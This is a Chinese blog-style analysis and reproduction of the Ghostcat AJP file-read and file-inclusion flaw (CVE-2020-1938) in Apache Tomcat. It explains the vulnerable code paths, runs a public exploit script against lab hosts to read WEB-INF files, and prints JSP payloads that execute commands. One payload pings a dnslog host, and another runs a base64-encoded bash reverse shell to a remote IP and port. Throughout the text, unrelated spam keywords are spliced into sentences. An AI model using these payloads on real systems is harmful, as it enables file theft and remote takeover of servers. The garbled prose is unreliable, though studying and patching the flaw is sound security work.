JAVA安全之CVE-2020-1938复现和分析

一、安全漏洞简介

Apache Tomcat是复现由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件 ,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,和分未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).

1、危险等级

高危

2、安全漏洞危害

攻击者可以读取 Tomcat所有 webapp目录下的复现任意文件。此外如果网站应用提供文件上传的和分功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的安全文件(上传的文件本身可以是任意类型的免费模板文件,比如图片、复现纯文本文件等),和分然后利用 Ghostcat 漏洞进行文件包含,安全从而达到代码执行的复现危害

3、影响范围

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

4、和分前提条件

对于处在漏洞影响版本范围内的安全 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的复现情况下 ,即存在被 Ghostcat 漏洞利用的和分风险。注意 Tomcat AJP Connector 默认配置下即为开启状态 ,且监听在 0.0.0.0:8009  。

5 、香港云服务器漏洞原理

Tomcat 配置了两个Connecto ,它们分别是 HTTP 和 AJP  :HTTP默认端口为8080  ,处理http请求 ,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化 ,多用于反向、集群等 ,漏洞由于Tomcat AJP协议存在缺陷而导致 ,攻击者利用该漏洞可通过构造特定参数 ,读取服务器webapp下的任意文件以及可以包含任意文件 ,如果有某上传点,上传图片马等等 ,高防服务器即可以获取shel

二 、漏洞分析

1.漏洞成因分析:

tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口 ,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip 。

tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息 ,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性

如下图:

在代码的507行

可以通过此种特性从而可以控制request对象的源码库下面三个Attribute属性

javax.servlet.include.request_uri

javax.servlet.include.path_info

javax.servlet.include.servlet_path

然后封装成对应的request之后,继续走servlet的映射流程如下图所示:

接着看第252行。

2.利用方式:

(1)利用DefaultServlet实现任意文件下载

当url请求未在映射的url列表里面则会通过tomcat默认的DefaultServlet会根据上面的三个属性来读取文件,如下图

通过serveResource方法来获取资源文件

通过getRelativePath来获取资源文件路径

然后再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到/WEB-INF下面的所有敏感文件  ,不限于class、xml 、jar等文件。

(2)通过jspservlet实现任意后缀文件包含

当url(比如http://xxx/xxx/xxx.jsp)请求映射在org.apache.jasper.servlet.JspServlet这个servlet的时候也可通过上述三个属性来控制访问的jsp文件如下图:

控制路径之后就可以以jsp解析该文件 所以只需要一个可控文件内容的文件即可实现rce.

代码段分析1:

tomcat默认监听的源码下载8009端口用来处理AJP协议 。AJP协议建立在TCP socket通信之上 ,tomcat使用该协议和前级的Web Server传递信息,这次的漏洞就出在客户端可以利用ajp协议数据包控制request对象的一些字段。

具体地 ,tomcat源码的org.apache.coyote.ajp.AjpProcessor类的service()方法如下 :

它调用的prepareRequest()方法用来解析一些请求头,部分内容如下:

可以看到 ,当ajp数据包的头设置为SC_REQ_ATTRIBUTE时(具体数值可以查询AJP协议规范),Connector会紧接着读取变量n(属性名)和v(值) ,当n不是亿华云SC_A_REQ_LOCAL_ADDR、SC_A_REQ_REMOTE_PORT、SC_A_SSL_PROTOCOL时,就会用v来赋值属性n 。接着 ,service()方法将修改过的request代入后面的调用。

=在org.apache.catalina.servlets.DefaultServlet中  ,当我们的请求声明的是GET方法时,存在调用service()->doGet()->serveResource(),分析serveResource()代码如下:

其调用的getRelativePath()方法内容如下 :

复制protected String getRelativePath(HttpServletRequest request, boolean allowEmptyPath) {

String servletPath;

String pathInfo;

if (request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI) != null) {

pathInfo = (String) request.getAttribute(RequestDispatcher.INCLUDE_PATH_INFO);

servletPath = (String) request.getAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH);

} else{

......

}

StringBuilder result = new StringBuilder();

if (servletPath.length() > 0) {

result.append(servletPath);

}

if (pathInfo != null) {

result.append(pathInfo);

}

......

return result.toString();

}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.

从javax.servlet.RequestDispatcher中可以看到这三个属性的名称:

所以 ,我们就能通过AJP协议改变request的这三个属性来控制请求的路径 ,serveResource()方法获得path后的代码大致如下 :

它会直接把通过path获取的资源序列化输出,因此客户端再按照AJP协议解析数据包就能得到文件内容。

代码段分析2:

同样的道理,tomcat默认将jsp/jspx结尾的请求交给org.apache.jasper.servlet.JspServlet处理 ,它的service()方法如下:

可以看到jspUri也是由两个可控的属性定义的 ,后续代码 :

代码在这里根据jspUri生成了一个JspServletWrapper,它会调用service()方法完成jsp代码的编译 ,将其转换成一个servlet 。该servlet最终会以.java文件的形式写入%CATALINA_HOME%/work/Engine/Host/Context目录下:

经过上述调用,这就形成了文件包含漏洞。当Web应用上有某个文件内容可被我们控制时 ,就可以造成rce漏洞。

三、漏洞复现

1.环境的准备

(1)windows下漏洞复现环境准备 ,这里以tomcat-8.5.32为例。

https://github.com/backlion/CVE-2020-1938/blob/master/apache-tomcat-8.5.32.zip

(2)安装jdk并配置JDK环境

(3)然后启动tomcat ,点击tomcat目录/bin 文件夹下的startup.bat

root@kali2019:~# git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi root@kali2019:~# cd CNVD-2020-10487-Tomcat-Ajp-lfi/ root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi# chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py root@kali2019:~/CNVD-2020-10487-Tomcat-Ajp-lfi#

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.9 -p 8009 -f WEB-INF/web.xm

读取文件

读取web-inf/web.xm文件

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 10.10.10.134 -p 8009 -f WEB-INF/web.xml

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 10.10.10.134 -p 8009 -f index.jsp

命令执行

执行whoami命令

python "文件包含(CVE-2020-1938).py" 10.10.10.134 -p 8009 -f /test.txt

ping dnslog

复制<% java.io.InputStream in = Runtime.getRuntime().exec("ping fiohed.dnslog.cn").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%>1.2.3.4.5.6.7.8.9.10.

反弹shell

反弹shell用的命令需要进行bash编码在线bash编码 :http://www.jackson-t.ca/runtime-exec-payloads.htmlhttps://ares-x.com/tools/runtime-exec/POC下载地址 :https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read 复制<% java.io.InputStream in = Runtime.getRuntime().exec("bash -c { echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNC41LzE4ODg4IDA+JjE=}|{ base64,-d}|{ bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>");%>1.2.3.4.5.6.7.8.9.10.

在反弹shell的过程中 ,我尝试多次之后失败了 。就放了一张米斯特斯文师傅的一张成功的图片。

REF

https://www.cnblogs.com/backlion/p/12870365.html

https://xz.aliyun.com/t/7325

https://www.svenbeast.com/post/fqSI9laE8/

滇ICP备2023006006号-45